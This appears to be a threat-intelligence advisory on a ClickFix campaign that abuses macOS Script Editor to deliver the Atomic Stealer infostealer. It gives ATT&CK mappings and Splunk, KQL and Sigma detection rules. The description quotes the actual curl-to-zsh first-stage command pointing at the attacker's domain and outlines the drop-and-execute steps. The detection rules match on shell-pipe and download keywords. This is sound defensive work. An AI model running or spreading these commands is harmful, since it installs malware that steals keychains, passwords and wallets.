# ClickFix Campaign Abuses macOS Script Editor (applescript:// URL scheme) to Deliver Atomic Stealer (AMOS)

> Jamf Threat Labs documented a ClickFix-style macOS campaign that uses the applescript:// URL scheme to open Script Editor, rather than Terminal, with a pre-filled obfuscated script. The script pipes a second stage from dryvecar.com into zsh, which stages and runs a Mach-O Atomic Stealer (AMOS) variant from /tmp/helper.

- **Author:** Threadlinqs Team
- **Published:** 2026-12-03T01:32:33Z
- **Last updated:** 2026-12-03T01:32:33Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-7344
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-7344.png
- **ID:** TL-2026-7344
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 6 (1 shown free below)

## Description

Jamf Threat Labs (Thijs Xhaflaire, published 2026-04-08) reported a new ClickFix delivery variant for macOS. A fake Apple-themed web page, posing as a disk-space cleanup or 'macOS Storage Optimization' guide (lure text 'Reclaim Disk Space on your Mac', fake result 'Freed 24.7 GB'), presents an 'Execute' button. The button invokes an applescript:// URL, and the browser asks the user to allow Script Editor to open. Script Editor then loads a pre-populated AppleScript, so the victim never pastes anything into Terminal.

The AppleScript uses a do shell script call that runs an obfuscated command. The command rebuilds its URL at runtime with the tr utility and runs curl -kSsfL (TLS certificate validation disabled) against dryvecar.com, piping the response into zsh so the second stage executes in memory without being written to disk. The decoded first-stage command shown by Jamf is: curl -kSsfL https://dryvecar.com/curl/04566d1d3f9717b2e7e6b643775d9ca72cef942f6df9ce075cf8c73a1bd2565a. The second stage is encoded with base64 plus gzip (some variants use bunzip2) and is decoded and eval'd. It then downloads a Mach-O binary from https://dryvecar.com/cleaner3/update to /tmp/helper, clears extended attributes with xattr -c, sets the executable bit, and runs it. Jamf identified the binary as a recent Atomic Stealer variant.

The variant is significant because macOS 26.4 added scanning of commands pasted into Terminal, which this chain avoids entirely. Recent macOS Tahoe builds show an extra prompt asking the user to allow the script to be saved to disk before it runs, and behavior differs between 26.0 and 26.4. Researchers describe this as only some non-targeted resistance, since one approval lets the chain continue. Secondary reporting (BleepingComputer) states that AMOS steals Keychain data, desktop files, browser crypto-wallet extensions, autofill data, passwords, cookies, credit-card data and system information, and that a backdoor component was added in 2025. CSO Online adds developer artifacts to the harvested data. Malwarebytes notes the final payload could change to other stealers such as MacSync or Infiniti. No hashes, IP addresses, persistence details, exfiltration details, CVE, or attribution appear in the sources reviewed. Severity is an analyst judgment: user-initiated execution of an infostealer.

## MITRE ATT&CK

- T1204.004 User Execution: Malicious Copy and Paste
- T1059.002 Command and Scripting Interpreter: AppleScript
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1027 Obfuscated Files or Information
- T1027.010 Obfuscated Files or Information: Command Obfuscation
- T1140 Deobfuscate/Decode Files or Information
- T1553.001 Subvert Trust Controls: Gatekeeper Bypass
- T1555.001 Credentials from Password Stores: Keychain
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1539 Steal Web Session Cookie
- T1005 Data from Local System
- T1082 System Information Discovery

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**ClickFix Script Editor Spawns Shell/Downloader (Atomic Stealer, dryvecar.com) — Exploitation** (`TL-2026-7344-SPL-001`)

TL-2026-7344: the applescript:// ClickFix lure opens Script Editor with a pre-filled AppleScript whose do shell script call runs 'curl -kSsfL <dryvecar.com URL> | zsh'. Script Editor spawning sh/zsh/bash/curl/xattr/base64 children with download, decode, /tmp or pipe-to-shell content is the first host-side signal of the Atomic Stealer (AMOS) chain and bypasses the macOS 26.4 Terminal paste warning.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1059.002, T1059.004, T1027.010
- **Data sources:** splunk_cim_endpoint_processes (macOS EDR / Jamf Protect / osquery es_process_events), microsoft_defender_for_endpoint_macos
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
| tstats summariesonly=false count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name="Script Editor" Processes.process_name IN ("sh","zsh","bash","curl","xattr","base64","gunzip","bunzip2","osascript") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process
| `drop_dm_object_name(Processes)`
| where match(process,"(?i)(curl|dryvecar|base64|xattr|/tmp/|[|] *(zsh|bash|sh))")
| convert ctime(firstTime) ctime(lastTime)
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFolderPath has "Script Editor.app" or InitiatingProcessFileName =~ "Script Editor"
| where FileName in~ ("sh","zsh","bash","curl","xattr","base64","gunzip","bunzip2","osascript")
| where ProcessCommandLine has_any ("curl","dryvecar","base64","xattr","/tmp/") or ProcessCommandLine matches regex @"\|\s*(zsh|bash|sh)\b"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, SHA256
| order by Timestamp desc
```

### Sigma

```yaml
title: macOS Script Editor Spawns Shell or Download Utility (ClickFix AMOS)
id: 6f0c7b1e-3a52-4d8b-9c41-2e7d5a9b0c13
status: experimental
description: Detects Script Editor spawning a shell, curl, xattr or decode utility with download, decode, /tmp or dryvecar content, as used by the TL-2026-7344 ClickFix chain delivering Atomic Stealer.
references:
    - https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/
author: Threadlinqs Team
date: 2026-12-03
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.002
    - attack.t1059.004
    - attack.defense-evasion
    - attack.t1027.010
logsource:
    category: process_creation
    product: macos
detection:
    selection_parent:
        ParentImage|contains: '/Script Editor.app/'
    selection_child:
        Image|endswith:
            - '/sh'
            - '/zsh'
            - '/bash'
            - '/curl'
            - '/xattr'
    selection_cmd:
        CommandLine|contains:
            - 'curl'
            - 'dryvecar'
            - 'base64'
            - 'xattr'
            - '/tmp/'
    condition: selection_parent and selection_child and selection_cmd
falsepositives:
    - Administrators or developers running do shell script from Script Editor
level: high

```

**Known false positives:**

- Admins or developers legitimately running do shell script with curl from Script Editor
- Internal automation prototyped in Script Editor that downloads and decodes content

**Tuning notes:** Script Editor spawning a shell is rare on most fleets; baseline for 7 days and allowlist scripted-admin users or hosts. Confirm the CIM Endpoint.Processes data model is populated for macOS and that parent_process_name is 'Script Editor' (with the space). Raise priority if the command line contains dryvecar.com or a pipe to zsh.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- curl -kSsfL Piped to zsh with Runtime URL Rebuild (ClickFix AMOS First Stage) — Exploitation (locked: unlock with TL Creds)
- base64 + gzip/bunzip2 Decode and eval Second Stage (AMOS Loader) — Post-Exploitation (locked: unlock with TL Creds)
- Mach-O Payload Written to [indicator] (Atomic Stealer Drop) — Delivery/C2 (locked: unlock with TL Creds)
- osascript 'do shell script' Launching curl/zsh Download (AppleScript Loader) — Exploitation (locked: unlock with TL Creds)
- Process in /tmp Running Keychain, Password-Verify, Browser-Store or System-Profile Commands (AMOS Behaviour) — Post-Exploitation (locked: unlock with TL Creds)
- DNS Resolution of [indicator] (ClickFix AMOS Delivery Domain) — C2/Delivery (locked: unlock with TL Creds)
- Atomic Stealer [indicator] Staging: xattr -c, chmod +x and Execution — Post-Exploitation (locked: unlock with TL Creds)
- Proxy/Web Traffic to [indicator] Atomic Stealer Delivery Infrastructure — C2/Delivery (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (1 of 6)

Defanged, TLP:CLEAR.

- Domain: `dryvecar[.]com`

Full set of 6 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [ClickFix Malware Uses macOS Script Editor to Deliver Atomic Stealer | Jamf Threat Labs](https://www.jamf.com/blog/clickfix-macos-script-editor-atomic-stealer/)
- [ClickFix finds a new way to infect Macs | Malwarebytes](https://www.malwarebytes.com/blog/news/2026/04/clickfix-finds-new-way-to-infect-macs)
- [New macOS stealer campaign uses Script Editor in ClickFix attack | BleepingComputer](https://www.bleepingcomputer.com/news/security/new-macos-stealer-campaign-uses-script-editor-in-clickfix-attack/)
- [New ClickFix variant bypasses Apple safeguards with one-click script execution | CSO Online](https://www.csoonline.com/article/4156500/new-clickfix-variant-bypasses-apple-safeguards-with-one-click-script-execution.html)
- [macOS 26.4 Introduces New Security Feature for Terminal Commands | MacRumors](https://www.macrumors.com/2026/03/25/macos-26-4-terminal-security-feature/)
- [Security Bite: ClickFix malware authors already bypassing Apple's new Terminal paste warnings | 9to5Mac](https://9to5mac.com/2026/04/18/security-bite-clickfix-malware-authors-already-bypassing-apples-new-terminal-paste-warnings/)
- [New macOS security feature will alert users about possible ClickFix attacks | Malwarebytes](https://www.malwarebytes.com/blog/news/2026/03/new-macos-security-feature-will-alert-users-about-possible-clickfix-attack)
- [macOS Script Editor abused | GBHackers](https://gbhackers.com/macos-script-editor-abused/amp/)
- [Mac Script Editor becomes new entry point for ClickFix malware | AppleInsider](https://appleinsider.com/articles/26/04/08/mac-script-editor-becomes-new-entry-point-for-clickfix-malware)
- [Atomic Stealer macOS ClickFix Attack Bypasses Apple Security Warnings | Infosecurity Magazine](https://infosecurity-magazine.com/news/atomic-stealer-macos-clickfix)
- [ClickFix attacks on macOS now also via Script Editor | heise](https://heise.de/-11254583)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple and Gold in full, 2 calls a day on a free account): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-7344
